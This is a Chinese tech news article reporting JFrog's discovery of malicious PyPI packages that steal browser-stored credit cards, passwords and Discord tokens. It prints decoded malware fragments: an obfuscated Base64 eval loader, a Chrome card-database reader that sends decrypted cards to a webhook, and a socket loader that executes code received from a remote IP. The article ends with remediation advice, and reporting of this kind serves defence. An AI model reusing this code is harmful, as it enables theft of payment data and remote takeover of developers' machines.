晓查 发自 凹非寺

量子位 报道 | 公众号 QbitAI
Python程序员真的要小心了,PyPI软件库问题真是越来越严重。
继今年6月出现挖矿病毒后,PyPI最近再次出现了一批恶意软件,
JFrog安全团队发现,PyPI库中有多个软件存在盗取信用卡信息远程注入代码的行为,而这些软件总共被下载了3万次。
这些被发现问题的恶意软件分别是:
当程序员安装完这些软件后,它们将在后台不知不觉读取浏览器文件夹,从而盗取信用卡信息和密码。

它们是如何窃取信用卡信息的

安全研究人员发现,上述所有软件包都使用Base64编码进行伪装。
比如上述的noblesse2:
import
 base64, codecs

magic = 
'aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS...'
love = 
'0iLKOcY3L4Y2q1nJkxpl97nJE9Y2EyoTI0M...'
god = 
'a2luZy5hcHBlbmQodG9rZW4pDQogICAgICAg...'
destiny = 
'yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS...'
joy = 
'\x72\x6f\x74\x31\x33'
trust = eval(
'\x6d\x61\x67\x69\x63'
) + eval(
'\x63\x6f\x64\x65\x63\x73\x2e\x64...'
)

eval(compile(base64.b64decode(eval(
'\x74\x72\x75\x73\x74'
)),
''
,
'exec'
))

这种方法可以欺骗一些简单的分析工具,但是仔细研究可以发现其中的问题。
以上8个软件包分别包含了以下不同种类的恶意行为:
1、窃取Discord帐户身份验证token
Discord身份验证token读取器的代码非常简单,它就是一组硬编码的路径:
local = os.getenv(
'LOCALAPPDATA'
)

roaming = os.getenv(
'APPDATA'
)


paths = {

'Discord'
: roaming + 
'\\Discord'
,

'Discord Canary'
: roaming + 
'\\discordcanary'
,

'Discord PTB'
: roaming + 
'\\discordptb'
,

'Google Chrome'
: local + 
'\\Google\\Chrome\\User Data\\Default'
,

'Opera'
: roaming + 
'\\Opera Software\\Opera Stable'
,

'Brave'
: local + 
'\\BraveSoftware\\Brave-Browser\\User Data\\Default'
,

'Yandex'
: local + 
'\\Yandex\\YandexBrowser\\User Data\\Default'
}

然后代码会读取这几种浏览器路径下的所有.log和.ldb文件,并查找Discord身份验证token,结果通过Webhook上传到Discord。
2、窃取浏览器存储的密码或信用卡数据
当你在浏览器中输入密码或信用卡数据时,一般都会跳出如下窗口,提示用户保存这些信息。
虽然这给用户带来方便,今后不用一遍遍输入密码,但缺点是这些信息可能会恶意软件获取。
在这种情况下,恶意软件会尝试从Chrome窃取信用卡信息:
defcs():
    master_key = master()

    login_db = os.environ[
'USERPROFILE'
] + os.sep + \

r'AppData\Local\Google\Chrome\User Data\default\Web Data'
    shutil.copy2(login_db,

"CCvault.db"
)

    conn = sqlite3.connect(
"CCvault.db"
)

    cursor = conn.cursor()


try
:

        cursor.execute(
"SELECT * FROM credit_cards"
)

for
 r 
in
 cursor.fetchall():

            username = r[
1
]

            encrypted_password = r[
4
]

            decrypted_password = dpw(

                encrypted_password, master_key)

            expire_mon = r[
2
]

            expire_year = r[
3
]

            hook.send(
f"CARD-NAME: "
 + username + 
"\nNUMBER: "
 + decrypted_password + 
"\nEXPIRY M: "
 + str(expire_mon) + 
"\nEXPIRY Y: "
 + str(expire_year) + 
"\n"
 + 
"*"
 * 
10
 + 
"\n"
)

这些信息和前一种情况一样会通过Webhook上传。
3、收集有关受感染PC的信息:如IP地址、计算机名称和用户名
除此之外,这些软件还会收集Windows许可证密钥信息、Windows版本以及屏幕截图。
4、远程代码注入
pytagora和pytagora2这两个恶意软件会尝试连接到某个IP地址9009端口上的,然后执行Socket中可用的任何Python代码。
其中混淆的代码被安全人员解码成如下片段:
import
 socket,struct,time

s=socket.socket(
2
,socket.socket.socket.SOCK_STREAM)

s.connect((
'172.16.60.80'
,
9009
))

l=struct.unpack(
'>I'
,s.recv(
4
))[
0
]

print
 (l)

d=s.recv(l)

print
 (d)

while
 len(d)>!
1
:

d+=s.recv(l-len(d))

print
 (d)

exec(d,{
's'
:s})

但是安全人员现在不知道这个IP地址是什么,或者上面是否存在恶意软件。

中毒后如何挽救

如果你发现自己的电脑已经安装了诸如noblesse的恶意软件,那么请检查一下你的浏览器到底保存了哪些密码,这些密码可能已经泄露,请尽快修改。
对于Edge浏览器用户,请在地址栏中输入edge://settings/passwords,查看已保存的密码。
对于Chrome浏览器用户,请在地址栏中输入chrome://settings/payments,在付款方式一栏下查看已保存的信用卡信息。
另外可以松口气的是,PyPI维护人员已经删除了这些恶意软件包。
虽然PyPI软件库现在是安全了,但是鉴于这些开源软件库现在的维护状态,未来很可能还会遇到更多攻击。今年PyPI库出现安全问题的状况就不止一次出现。
“攻击者能够使用简单的混淆技术来引入恶意软件,这意味着开发人员必须保持警惕。”
JFrog CTO说,“这是一个系统性威胁,需要由软件存储库的维护者和开发人员在多个层面积极解决。”
参考链接:

https://jfrog.com/blog/malicious-pypi-packages-stealing-credit-cards-injecting-code/
本文系网易新闻•网易号特色内容激励计划签约账号【量子位】原创内容,未经账号授权,禁止随意转载。
「智能汽车」交流群招募中!
欢迎关注智能汽车、自动驾驶的小伙伴们加入社群,与行业大咖交流、切磋,不错过智能汽车行业发展&技术进展。加好友请务必备注您的姓名-公司-职位哦~
点这里👇关注我,记得标星哦~
一键三连「分享」、「点赞」和「在看」
科技前沿进展日日相见~
继续阅读
阅读原文